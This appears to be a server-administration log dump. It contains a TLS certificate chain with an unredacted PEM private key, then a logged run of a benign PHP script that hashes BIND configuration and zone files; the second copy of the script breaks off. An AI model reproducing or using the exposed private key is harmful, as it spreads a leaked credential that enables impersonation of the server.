AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjMuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AH0A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugA
AAGbhMSlOwAIAAAFAC4rCkEEAwBGMEQCIEH+nb0wbOrqcwA/rQbmUzKc5Xupt4WF
6MP1xZpUK1qtAiB3Tp4br0O7GMFC69EISfPkkoSMeG3+uPElzktojCEwlgB2ANFu
qaVoB35mNaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABm4TEtLYAAAQDAEcwRQIh
AKt5WmMJubpRM5+8CQBpE9AjZ9fvi04RNyDdPSe/TYCMAiAdslu8mz9BgQpT7gGY
BKBgPnWi1oZv+HF9bggFbE7EmjANBgkqhkiG9w0BAQsFAAOCAQEALukizu7r7M9n
2kqQ5eHMnVJOoBvVMGWK2XW6Kj+q9f7Chw7wbr0CKuX2FmEnfISnlUR74tMlqVu6
fU2MmM8f8n7CZkLYCIjjY6kmCLX1rSOAjJy4DwE3APyiia+iEodQ910nBudCYs9i
nYJ20hNl+1SiBEbzOFLJcIe90dTQYZv04azyyOLCQgRqKYxue/rH/hzdGGosf5sl
SG+zvVmeJ1ml5O4qsPYrsKXKvlmek9CIj+zSUKl2AMr3Jv2ZJvEmiJPIOn4Sk0TK
j8ypKgpMADNrtkS28/+o1AoW2Cn/zOmUAxwJgyQce+/EMXmPXsy3VqHKETlNSbkp
VhI+50CfCg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCqPBo3D8f5Pmys
doqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqOBK+kXKYvIsV134e0uhNItRlJxMNP
XXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5Eh6icSkdAj+ATlwdFp2H7yb0qlPOz
vnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsRIZx+ei2k5INbBo+hnbqwnzDFUBuJ
4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeEpoow5YowvfIZ2DwPg0d/rNOJNAXh
bX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpSqZvzruoJybznALyXZdMdJALhCmgg
OS4rL+9ZAgMBAAECggEABXAO4KWM/Exu7BG2SuA4uyjpU0nu27bngbaxmmQC1c9+
YbEOo0OJjm0U3t++tyLugrVIkpORrPj6HychK4SEvtaAXXxGW8Dvk/j+aFdQhlcI
4as0VM07iNCDlvpG4gFP7rznxO30WwTv2uo8UfiETmUa3GjkhbZuMVTdOZV0uIBA
kW/0zqZIz+N61MWLOJUBuruKAt29rt5Y8x7wXQwSZcq/vX9uer2BQ5VDSmAAM60p
xiz89rqFKNbly2TVNk6HPtLqAs9OUnr25xIhdSfUXAXQ44VgCU2X1Qb5hOodB7HK
wKkfE66Mg93yGgERU/8EtWO7IfvkvzQVngdWuPHS/QKBgQDkCTbQBrWMteVtlEaq
MlQ5u8mxX964DnxhKilSGk/14y94pEYS8tGU3g4ByWNbbYJGSdu6agJE+OluJ0mY
kNmXN2GYk+ojrMhYxZR5gtfeJXU9p29bSUZIsZ8GzVDWEo0PHGa/r4NF4JM5Ia81
VK6CH0bmQKVYPuYC45PZQytrjQKBgQC/HFJNW7ZOMMFWkiKP9t3vFdgvTCfUXazf
cPfU5+6abJfMAxOZL9pg859hhRO1WXpXtf6nWYpegjy+J8Qw4K0sW4qOK9oHISmV
ZqSqf0S4Ywb3YEZOnqMpirnI7SPFEtyrqlO9EaRe7jEv4ODMrUtYVDdcGMoxJgzw
JHLGjHV5/QKBgDSrUCayNgKfDLPHmJ686yk+j3JRg16dseq7Uznsa+WOKKvDvY+o
1/F7bF7LRhCa9YkIjCC9VXLazwerOVtssWU03GziVSUSRmACmq2KJBPiMPchkh3S
idJGfEWU7IPVWxFPbQf/IOHl4ftDJXW67meNk9Ggws/kDzpBmCeJVSENAoGAK3hK
tDPnPNPUNlfZKrvxcV+bo+6DpMeF+fEdPj1fRZrr0Ejm3VJILwNbPnhhqj9nF6pa
+T/hvGuNW4d6FdAVM+DCnGIXHsYJSmVlkS6PuA02WXB5rYph/KIEblKab0pCDX4Z
vAjWRY2SfJx/Ja9JUxcc3IL7AsDv8nOn88ehNRUCgYBAoJTSWqV5aNUk33M5eCQY
p7P6PTl0zkikW9CK4o9loxRULQyF33CtHXYrKD9sCiNUpjHo4bJnylNWCpvUeYW4
U/QSF/81v/HDrGH/p9U/jtm9bYSLejIhtg9e6BU7Q6r/BWg8i6mpIrUnO+8pQKVT
hbCdklqqo/QKXFaosW/L7A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-03 19:28:41: Establishing a connection
2026-01-03 19:28:41: 

PUT: /tmp/pkp178406

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:28:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp178406; rm /tmp/pkp178406'

2026-01-03 19:28:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:29:08: Establishing a connection
2026-01-03 19:29:14: Establishing a connection
2026-01-03 19:29:14: 

PUT: /tmp/pkp530617

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
